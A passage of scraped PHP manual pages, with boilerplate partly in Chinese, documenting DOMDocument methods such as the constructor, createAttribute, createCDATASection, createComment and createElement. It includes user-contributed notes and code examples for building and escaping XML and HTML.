            $doctype = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML TRANSITIONAL 1.0//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">';

            // Create the head element
            $title = $this->document->createElement( 'title', $this->title );
            // Add stylesheets if needed
            if ( is_array( $this->styles ))
                foreach ( $this->styles as $element )
                    $this->head->appendChild( $element );
            // Add scripts if needed
            if(  is_array( $this->scripts ))
                foreach ( $this->scripts as $element )
                    $this->head->appendChild( $element );
            // Add meta tags if needed
            if ( is_array( $this->metas ))
                foreach ( $this->metas as $element )
                    $this->head->appendChild( $element );
            $this->head->appendChild( $title );

            // Create the document
            $html = $this->document->createElement( 'html' );
            $html->setAttribute( 'xmlns', 'http://www.w3.org/1999/xhtml' );
            $html->setAttribute( 'xml:lang', 'en' );
            $html->setAttribute( 'lang', 'en' );
            $html->appendChild( $this->head );
            $html->appendChild( $this->body );

            $this->document->appendChild( $html );
            return $doctype . $this->document->saveXML( );
        }

    }

?>

Small example

<?php
        $document = new Document( );
    $document->title = 'Hello';
    $document->addStyleSheet( 'StyleSheets/main.css' );
    $div = $document->createElement( 'div' );
    $div->nodeValue = 'Hello, world!';
    $div->setAttribute( 'style', 'color: red;' );
    $document->body->appendChild( $div );
    printf( '%s', $document->assemble( ) );
?>
cmyk777 at gmail dot com 23-May-2009 12:31
This function may help to debug current dom element:

<?php
function dom_dump($obj) {
    if ($classname = get_class($obj)) {
        $retval = "Instance of $classname, node list: \n";
        switch (true) {
            case ($obj instanceof DOMDocument):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->saveXML($obj);
                break;
            case ($obj instanceof DOMElement):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMAttr):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                //$retval .= $obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMNodeList):
                for ($i = 0; $i < $obj->length; $i++) {
                    $retval .= "Item #$i, XPath: {$obj->item($i)->getNodePath()}\n".
"{$obj->item($i)->ownerDocument->saveXML($obj->item($i))}\n";
                }
                break;
            default:
                return "Instance of unknown class";
        }
    } else {
        return 'no elements...';
    }
    return htmlspecialchars($retval);
}
?>

Example usage:

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$body = $dom->documentElement->getElementsByTagName('book');
echo '<pre>'.dom_dump($body).'<pre>';
?>

Output:

Instance of DOMNodeList, node list:
Item #0, XPath: /library/book[1]
<book isbn="0345342968">
<title>Fahrenheit 451</title>
<author>R. Bradbury</author>
<publisher>Del Rey</publisher>
</book>
Item #1, XPath: /library/book[2]
<book isbn="0048231398">
<title>The Silmarillion</title>
<author>J.R.R. Tolkien</author>
<publisher>G. Allen &amp; Unwin</publisher>
</book>
Item #2, XPath: /library/book[3]
<book isbn="0451524934">
<title>1984</title>
<author>G. Orwell</author>
<publisher>Signet</publisher>
</book>
Item #3, XPath: /library/book[4]
<book isbn="031219126X">
<title>Frankenstein</title>
<author>M. Shelley</author>
<publisher>Bedford</publisher>
</book>
Item #4, XPath: /library/book[5]
<book isbn="0312863551">
<title>The Moon Is a Harsh Mistress</title>
<author>R. A. Heinlein</author>
<publisher>Orb</publisher>
</book>
Fernando H 11-Apr-2008 12:48
Showing a quick example of how to use this class, just so that new users can get a quick start without having to figure it all out by themself. ( At the day of posting, this documentation just got added and is lacking examples. )

<?php

// Set the content type to be XML, so that the browser will   recognise it as XML.
header( "content-type: application/xml; charset=ISO-8859-15" );

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

// Create some elements.
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track", "The ninth symphony" );

// Set the attributes.
$xml_track->setAttribute( "length", "0:01:15" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );

// Create another element, just to show you can add any (realistic to computer) number of sublevels.
$xml_note = $xml->createElement( "Note", "The last symphony composed by Ludwig van Beethoven." );

// Append the whole bunch.
$xml_track->appendChild( $xml_note );
$xml_album->appendChild( $xml_track );

// Repeat the above with some different values..
$xml_track = $xml->createElement( "Track", "Highway Blues" );

$xml_track->setAttribute( "length", "0:01:33" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );
$xml_album->appendChild( $xml_track );

$xml->appendChild( $xml_album );

// Parse the XML.
print $xml->saveXML();

?>

Output:
<Album>
  <Track length="0:01:15" bitrate="64kb/s" channels="2">
    The ninth symphony
    <Note>
      The last symphony composed by Ludwig van Beethoven.
    </Note>
  </Track>
  <Track length="0:01:33" bitrate="64kb/s" channels="2">Highway Blues</Track>
</Album>

If you want your PHP->DOM code to run under the .xml extension, you should set your webserver up to run the .xml extension with PHP ( Refer to the installation/configuration configuration for PHP on how to do this ).

Note that this:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

is NOT the same as this:
<?php
// Will NOT work.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml_track = new DOMElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

although this will work:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml->appendChild( $xml_album );
?>


Creates a new DOMDocument object

  • ? DOMDocument
  • DOMDocument::createAttribute ?
  • PHP Manual
  • DOMDocument
  • Creates a new DOMDocument object

DOMDocument::__construct

(PHP 5, PHP 7)

DOMDocument::__construct — Creates a new DOMDocument object

说明

public DOMDocument::__construct ([ string $version [, string $encoding ]] )

Creates a new DOMDocument object.

参数

version

The version number of the document as part of the XML declaration.

encoding

The encoding of the document as part of the XML declaration.

范例

Example #1 Creating a new DOMDocument

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?> */

?>

参见

  • DOMImplementation::createDocument() - Creates a DOMDocument object of the specified type with its document element

User Contributed Notes

qrworld.net 11-Nov-2014 04:36
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
_ michael 01-Jun-2010 07:23
The constuctor arguments are useful if you want to build a new document using createElement, appendChild etc.

By contrast, these arguments are overriden as soon as you load a document from source by calling load() or loadXML().

* If the source contains an XML declaration specifying an encoding, that encoding is used.
* If the XML declaration does not specify an encoding, or if the source does not contain a declaration at all, UTF-8 is assumed.

This behaviour applies no matter what you declared when you called new DOMDocument().
blackhailang at gmail dot com 09-Oct-2008 07:54
domdocument::domdocument() expects at least
At the least, I found that It due to ZEND optimizer, uninstall it,working well, but the speeds will be slowlly :-(.

Comment :
item 1 : 2008-10-03 17:10:58, gkrong said:
"Warning: domdocument::domdocument() expects at least 1
 parameter"
If you use PHP 5 in windows, you don't need to declare
php_domxml.dll in your php.ini file.
so u can give comment in the line php_domxml.dll in your
php.ini file.
you only need to comment it out, but do not delete the
php_domxml.dll file in the ext directory.
steve at mrclay dot org 08-Oct-2008 09:45
To expand on bholbrook's comment, if you receive this: "Warning: domdocument::domdocument() expects at least 1 parameter", it is due to the old domxml extension, which you need to disable.

domxml overwrites DOMDocument::_construct with an alias to domxml_open_mem, so this code:
<?php
$doc = new DOMDocument();
?>
...essentially does this:
<?php
$dom = domxml_open_mem();
?>
...which is why PHP complains about expecting at least 1 parameter (it expects a string of XML).
christian dot reinecke at web dot de 15-Jul-2008 07:09
If you get the error message "domdocument::domdocument() expects parameter 2 to be long, string given"  for a code sample like this:

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

which is obviously correct if you compare the constructor signature:

__construct  ([ string $version  [, string $encoding  ]] )

make sure you're not overwritting this dom library by another (f.e. extension=php_domxml.dll in php.ini). XAMPP f.e. delivers its standard version with php_domxml.dll which ends up in this error message
dave at revlob dot com 14-Feb-2008 02:07
@Jarl

Not sure if this is what you meant when you said "The constructor example clearly shows that version and encoding only end up in the XML header", but you can also affect other parameters in the generated XML header, by accessing the DOMDocument's properties, for example:

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

// <?xml version="1.0" encoding="UTF-8" standalone="no"?>
bholbrook at servillian dot com 05-Dec-2007 02:25
Make sure that php_domxml.dll on windows is removed before using the domdocument class as they cannot coexist.
jarl kringelding skim punt com 24-Sep-2007 02:22
Be aware using the encoding parameter in the constructor.
It does not mean that all data is automatically encoded for you in the supplied encoding. You need to do that yourself once you choose an encoding other than the default UTF-8. See the note on DOM Functions on how to properly work with other encodings...

The constructor example clearly shows that version and encoding only end up in the XML header.


Create new attribute

  • ? DOMDocument::__construct
  • DOMDocument::createAttributeNS ?
  • PHP Manual
  • DOMDocument
  • Create new attribute

DOMDocument::createAttribute

(PHP 5, PHP 7)

DOMDocument::createAttribute — Create new attribute

说明

public DOMDocument::createAttribute ( string $name ) : DOMAttr

This function creates a new instance of class DOMAttr. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

name

The name of the attribute.

返回值

The new DOMAttr or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Skateside 05-Apr-2013 04:16
This may be obvious to most people, but it gave me a few minutes of head-scratching before I figured it out, but ampersands need to be properly escaped as HTML entities.

<?php
$doc= new DOMDocument('1.0', "UTF-8");

$invalid_elem = $doc->createElement('field', 'incorrect attribute');
$invalid_attr = $doc->createAttribute('name');
$invalid_attr->value = 'foo&bar';
$invalid_elem->appendChild($invalid_attr);
$doc->appendChild($invalid_elem);

$valid_elem = $doc->createElement('field', 'correct attribute');
$valid_attr = $doc->createAttribute('name');
$valid_attr->value = 'foo&amp;bar';
$valid_elem->appendChild($valid_attr);
$doc->appendChild($valid_elem);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="foo">incorrect attribute</field>
<field name="foo&bar">correct attribute</field>

As near as I can figure out, no exception is thrown for an invalid attribute. This will affect DOMDocuments created as HTML as well as XML.
Beerkeeper 09-Nov-2011 07:19
Just in case it isn't clear (like I had), an example:

<?php

$domDocument = new DOMDocument('1.0', "UTF-8");
$domElement = $domDocument->createElement('field','some random data');
$domAttribute = $domDocument->createAttribute('name');

// Value for the created attribute
$domAttribute->value = 'attributevalue';

// Don't forget to append it to the element
$domElement->appendChild($domAttribute);

// Append it to the document itself
$domDocument->appendChild($domElement);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="attributevalue">some random data</field>


Create new attribute node with an associated namespace

  • ? DOMDocument::createAttribute
  • DOMDocument::createCDATASection ?
  • PHP Manual
  • DOMDocument
  • Create new attribute node with an associated namespace

DOMDocument::createAttributeNS

(PHP 5, PHP 7)

DOMDocument::createAttributeNS — Create new attribute node with an associated namespace

说明

public DOMDocument::createAttributeNS ( string $namespaceURI , string $qualifiedName ) : DOMAttr

This function creates a new instance of class DOMAttr. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

namespaceURI

The URI of the namespace.

qualifiedName

The tag name and prefix of the attribute, as prefix:tagname.

返回值

The new DOMAttr or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespaceURI is NULL.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

_ michael 01-Jun-2010 07:35
If a new namespace is introduced while creating and inserting an attribute, createAttributeNS() does not behave in the same way as createElementNS().

(1) Location: With createAttributeNS(), the new namespace is declared at the level of the document element. By contrast, createElementNS() declares the new namespace at the level of the affected element itself.

(2) Timing: With createAttributeNS(), the new namespace is declared in the document as soon as the attribute is created - the attribute does not actually have to be inserted. createElementNS() doesn't affect the document as long as the element is not inserted.

An example:

<?php

    $source = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root><tag></tag></root>
XML;

    /*

     I. createAttributeNS:
     * a new namespace shows up immediately, even without insertion of the attribute
     * the new namespace is declared at the level of the document element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We just create a "namespace'd" attribute without appending it to any element.
    $attr_ns = $doc->createAttributeNS( '{namespace_uri_here}', 'example:attr' );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, having been added to the document element. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag/></root>

    */

    // (2) Next, we give the attribute a value and insert it.
    $attr_ns->value = 'value';
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $attr_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The "namespace'd" attribute shows up as well. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag example:attr="value"/></root>

    */

    /*

     II. createElementNS:
     * a new namespace shows up only when the element is inserted
     * the new namespace is declared at the level of the inserted element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We create a "namespace'd" element without inserting it into the document.
    $elem_ns = $doc->createElementNS( '{namespace_uri_here}', 'example:newtag' );

    print $doc->saveXML() . "\n";

    /*
      Result: The document remains unchanged. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag/></root>

    */

    // (2) Next, we insert the new element.
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $elem_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, and it is embedded in the element using it. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag><example:newtag xmlns:example="{namespace_uri_here}"/></tag></root>

    */

?>


Create new cdata node

  • ? DOMDocument::createAttributeNS
  • DOMDocument::createComment ?
  • PHP Manual
  • DOMDocument
  • Create new cdata node

DOMDocument::createCDATASection

(PHP 5, PHP 7)

DOMDocument::createCDATASection — Create new cdata node

说明

public DOMDocument::createCDATASection ( string $data ) : DOMCDATASection

This function creates a new instance of class DOMCDATASection. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

data

The content of the cdata.

返回值

The new DOMCDATASection or FALSE if an error occurred.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Marc info[at]braincast.nl 08-Mar-2011 01:55
Here's some code that takes an associative array and prints it asXML() but creates CDATA sections for each string

<?php
class SimpleXMLExtended extends SimpleXMLElement{
    public function addCData($string){
        $dom = dom_import_simplexml($this);
        $cdata = $dom->ownerDocument->createCDATASection($string);
        $dom->appendChild($cdata);
    }
}
function assocArrayToXML($root_element_name,$ar){
    $xml = new SimpleXMLExtended("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    if (!is_numeric($k))$ch=$c->addChild($k);
                    else $ch = $c->addChild(substr($c->getName(),0,-1));
                    $f($f,$ch,$v);
                } else {
                    if (is_numeric($v)){ $c->addChild($k, $v);
                    }else{$n = $c->addChild($k); $n->addCData($v);}
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}

/* sample */
$result = array("title"=>"CDATA Sample");
$result['items'] = array();
$result['items'][] = array('title'=>'Some string', 'number' => 1);
$result['items'][] = array('title'=>'Some string', 'number' => 2);
$result['items'][] = array('title'=>'Some string', 'number' => 3);

echo assocArrayToXML('result',$result);
?>

The is_numeric check could be changed by a more elaborate regular expression to check if the string is actually xml unsafe but this worked for me.
jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:44
If you would like to refer to the documentation for the class of the returned object, see http://www.php.net/manual/en/class.domcharacterdata.php
info at troptoek dot com 24-Mar-2008 09:40
A common issue seems to be adding javascript to CDATA and the browser throwing a javascript error. To ensure the javascript works use the following code when adding CDATA:

<?php
/**
 * Append Caracter Data to a node and check for a javascript node
 *
 * @param DOMElement $appendToNode
 * @param string $text
 */
function appendCdata($appendToNode, $text)
{
    if (strtolower($appendToNode->nodeName) == 'script') {  // Javascript hack
        $cm = $appendToNode->ownerDocument->createTextNode("\n//");
        $ct = $appendToNode->ownerDocument->createCDATASection("\n" . $text . "\n//");
        $appendToNode->appendChild($cm);
        $appendToNode->appendChild($ct);
    } else {  // Normal CDATA node
        $ct = $appendToNode->ownerDocument->createCDATASection($text);
        $appendToNode->appendChild($ct);
    }
}
?>
The result should be:

<script type="text/javascript">
//<![CDATA[
function someJsText() {
   document.write('Some js with <a href="#">HTML</a> content');
}
//]]></script>
loathsome 04-Aug-2007 02:28
Here's a function that will create a CDATA-section around a string coming from SimpleXML.

<?php
function sxml_cdata($path, $string){
  $dom = dom_import_simplexml($path);
  $cdata = $dom->ownerDocument->createCDATASection($string);
  $dom->appendChild($cdata);
}
?>


Create new comment node

  • ? DOMDocument::createCDATASection
  • DOMDocument::createDocumentFragment ?
  • PHP Manual
  • DOMDocument
  • Create new comment node

DOMDocument::createComment

(PHP 5, PHP 7)

DOMDocument::createComment — Create new comment node

说明

public DOMDocument::createComment ( string $data ) : DOMComment

This function creates a new instance of class DOMComment. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

data

The content of the comment.

返回值

The new DOMComment or FALSE if an error occurred.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

php dot sirlancelot at spamgourmet dot com 25-Nov-2009 12:10
To prevent a parser error when the comment string would contain the character sequence "--", do this:

<?php

$CommentString = 'This contains -- some weird -- characters.';

$CommentNode = $DomDocument->createComment(
        str_replace('--', '-'.chr(194).chr(173).'-', $CommentString)
);
?>

This will insert a Soft Hyphen in between the two hyphens which will not cause the parser to error out.
capps at solareclipse dot net 29-Mar-2007 03:55
Use caution: this function does NOT escape, encode, or otherwise change the contents of the string.

This means that if your string contains two hyphens in a row (--), that will *end* the comment, which can easily create invalid XML when the document is serialized.


Create new document fragment

  • ? DOMDocument::createComment
  • DOMDocument::createElement ?
  • PHP Manual
  • DOMDocument
  • Create new document fragment

DOMDocument::createDocumentFragment

(PHP 5, PHP 7)

DOMDocument::createDocumentFragment — Create new document fragment

说明

public DOMDocument::createDocumentFragment ( void ) : DOMDocumentFragment

This function creates a new instance of class DOMDocumentFragment. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

返回值

The new DOMDocumentFragment or FALSE if an error occurred.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

There are no user contributed notes for this page.


Create new element node

  • ? DOMDocument::createDocumentFragment
  • DOMDocument::createElementNS ?
  • PHP Manual
  • DOMDocument
  • Create new element node

DOMDocument::createElement

(PHP 5, PHP 7)

DOMDocument::createElement — Create new element node

说明

public DOMDocument::createElement ( string $name [, string $value ] ) : DOMElement

This function creates a new instance of class DOMElement. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

name

The tag name of the element.

value

The value of the element. By default, an empty element will be created. The value can also be set later with DOMElement::$nodeValue.

The value is used verbatim except that the < and > entity references will escaped. Note that & has to be manually escaped; otherwise it is regarded as starting an entity reference. Also " won't be escaped.

返回值

Returns a new instance of class DOMElement or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

范例

Example #1 Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElement('test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<test>This is the root element!</test>

Example #2 Passing text containing an unescaped & as value

<?php
$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->createElement('foo', 'me & you');
$dom->appendChild($element);
echo $dom->saveXML();
?>

以上例程的输出类似于：

Warning: DOMDocument::createElement(): unterminated entity reference             you in /in/BjTCg on line 4
<?xml version="1.0" encoding="utf-8"?>
<foo/>

注释

Note:

The value will not be escaped. Use DOMDocument::createTextNode() to create a text node with escaping support.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

dignat at yahoo dot com 15-Nov-2017 10:25
To create an element with DomDocument and to escape ampersand in the value.

Do this:

$element = new DOMDocument('1.0', 'UTF-8');

$test = $element->createElement('text');

$test ->appendChild($element->createElement('name'))
      ->appendChild($element->createtextNode('& I am ampersand');
tschmieder at bitworks dot de 24-Mar-2015 05:42
Remember:

If you want to perform multiple actions with a new node, you may need to create a copy of it before

means:
## Create an address to an unique memory block !
$td = $dom->createElement('td');
## Change some things in this original unique pattern
$td->setAttribute('class', 'saldo');

## clone the unique pattern to two own one's
$td1 = clone $td;
$td2 = clone $td;

## alter properties in each one
$td1->nodeValue = 'Ich bin die erste neue Node';
$td2->nodeValue = 'Ich bin die zweite neue Node';

## find the parent element
$tr = $dom->getElementById('t001-tr001');
## find the first and the last child (here only for clearity)
$first = $tr->firstChild;
$last = $tr->lastChild;

## produce the new nodes
$newtd1 = $tr->insertBefore($td1, $first);
$newtd2 = $tr->appendChild($td2);

conclusion:
YOU NEED AN ORIGINAL NEW NODE FOR EACH ACTION!
funkathustra 04-Mar-2012 08:44
Although the built-in DOM functions are great, since they're designed to support generic XML, generating HTML DOMs becomes particularly verbose. I ended up writing this function to drastically speed things up.
Instead of calling something like
<?php
  $div = $dom->createElement("div");
  $div->setAttribute("class","MyClass");
  $div->setAttribute("id","MyID");
  $someOtherDiv->appendChild($div);
?>
you can accomplish the same thing with:
<?php
  $div = newElement("div", $someOtherDiv, "class=MyClass;id=MyID");
?>
The "key1=value;key2=value" syntax is really fast to use, but obviously doesn't hold up if your content has those characters in it. So, you can also pass it an array:
<?php
  $div = newElement("div", $someOtherDiv, array("class","MyClass"));
?>
Or an array of arrays, representing different attributes:
<?php
  $div = newElement("form", $someOtherDiv, array(array("method","get"), array("action","/refer/?id=5");
?>

Here's the function:

<?php
function newElement($type, $insertInto = NULL, $params=NULL, $content="")
    {
        $tempEl =  $this->dom->createElement($type, $content);
        if(gettype($params) == "string" && strlen($params) > 0)
        {
            $attributesCollection =split(";", $params);
            foreach($attributesCollection  as $attribute)
            {
                $keyvalue = split("=", $attribute);
                $tempEl->setAttribute($keyvalue[0], $keyvalue[1]);
            }
        }
        if(gettype($params) == "array")
        {
            if(gettype($params[0]) == "array")
            {
                foreach($params as $attribute)
                {
                    $tempEl->setAttribute($attribute[0], $attribute[1]);
                }
            } else {
                $tempEl->setAttribute($params[0], $params[1]);
            }
        }
?>
lars dot c dot magnusson at gmail dot com 26-Nov-2010 01:56
You may think insertBefore and insertAfter is a direct alternative for appendChild, this is not the case.

<?php
$dom = new DOMDocument();
$dom->load($file);

$dom->appendChild($newNode); //Works fine
$dom->insertBefore($newNode, $refNode); //Will fail

$refNode->parentNode->insertBefore($newNode, $refNode); // thanx to yasindagli (first post)
?>
yasindagli at gmail dot com 17-Jun-2009 02:01
To create elements with attributes,

<?php

function createElement($domObj, $tag_name, $value = NULL, $attributes = NULL)
{
    $element = ($value != NULL ) ? $domObj->createElement($tag_name, $value) : $domObj->createElement($tag_name);

    if( $attributes != NULL )
    {
        foreach ($attributes as $attr=>$val)
        {
            $element->setAttribute($attr, $val);
        }
    }

    return $element;
}

$dom = new DOMDocument('1.0', 'utf-8');

$elm = createElement($dom, 'foo', 'bar', array('attr_name'=>'attr_value'));

$dom->appendChild($elm);

echo $dom->saveXML();

?>

outputs :
<?xml version="1.0" encoding="utf-8"?>
<foo attr_name="attr_value">bar</foo>
chris AT cmbuckley DOT co DOT uk 26-May-2009 07:45
Note that the NUL character "\0" is not in the list of invalid characters for $name, so no error is triggered, but the tag name will be truncated at the null byte:

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$el = $dom->createElement('foo' . "\0" . 'bar', 'Hello World');
echo $el->tagName; // outputs "foo"

?>
estill at gvtc dot com 12-Jun-2007 02:38
Note that the second parameter (value), although convenient, is non-standard. You should create elements like this instead:

<?php
$doc = new DOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElement('test');
$doc->appendChild($root);

$root_text = $doc->createTextNode('This is the root element!');
$root->appendChild($root_text);

print $doc->saveXML();
?>

Or, alternatively, extend the DOMDocument class and add your own custom, convenience method to avoid intruding on the standard:

<?php
class CustomDOMDocument extends DOMDocument {
  function createElementWithText($name, $child_text) {
    // Creates an element with a child text node

    // @param  string  $name        element tag name
    // @param  string  $child_text  child node text

    // @return  object  new element

    $element = $this->createElement($name);

    $element_text = $this->createTextNode($child_text);
    $element->appendChild($element_text);

    return $element;
  }
}

$doc = new CustomDOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElementWithText('test', 'This is the root element!');
$doc->appendChild($root);

print $doc->saveXML();
?>

Also use caution with (or avoid) the 'DOMElement->nodeValue' property. It can return some unexpected values and changing its value will replace (remove) all descendants of the element with a single text node. It's also non-standard; according to the DOM spec it should return NULL.
mikek dot nospam at nospam dot muonics dot com 03-Mar-2007 05:24
With regard to the note below about needing htmlentities to avoid warnings about unterminated entity references, I thought it worthwhile to mention that that you don't need to with createTextNode and DOMText::__construct.  If you mix both methods of setting text nodes and do (or don't) apply htmlentities consistently to all data to be displayed, you'll get &amp;s (or warnings and badly-formed xml).

It's probably in one's best interest to extend DOMElement and DOMDocument so that it creates a DOMText node and appends it, rather than passing it up to the DOMElement constructor.  Otherwise, good luck using (or not using) htmlentities in all the right places in your code, especially as code changes get made.

<?php

class XDOMElement extends DOMElement {
    function __construct($name, $value = null, $namespaceURI = null) {
        parent::__construct($name, null, $namespaceURI);
    }
}

class XDOMDocument extends DOMDocument {
    function __construct($version = null, $encoding = null) {
        parent::__construct($version, $encoding);
        $this->registerNodeClass('DOMElement', 'XDOMElement');
    }

    function createElement($name, $value = null, $namespaceURI = null) {
        $element = new XDOMElement($name, $value, $namespaceURI);
        $element = $this->importNode($element);
        if (!empty($value)) {
            $element->appendChild(new DOMText($value));
        }
        return $element;
    }
}

$doc1 = new XDOMDocument();
$doc1_e1 = $doc1->createElement('foo', 'bar & baz');
$doc1->appendChild($doc1_e1);
echo $doc1->saveXML();

$doc2 = new XDOMDocument();
$doc2_e1 = $doc2->createElement('foo');
$doc2->appendChild($doc2_e1);
$doc2_e1->appendChild($doc2->createTextNode('bar & baz'));
echo $doc2->saveXML();

?>

Text specified in createElement:
<?xml version=""?>
<foo>bar &amp; baz</foo>

Text added via createTextNode:
<?xml version=""?>
<foo>bar &amp; baz</foo>
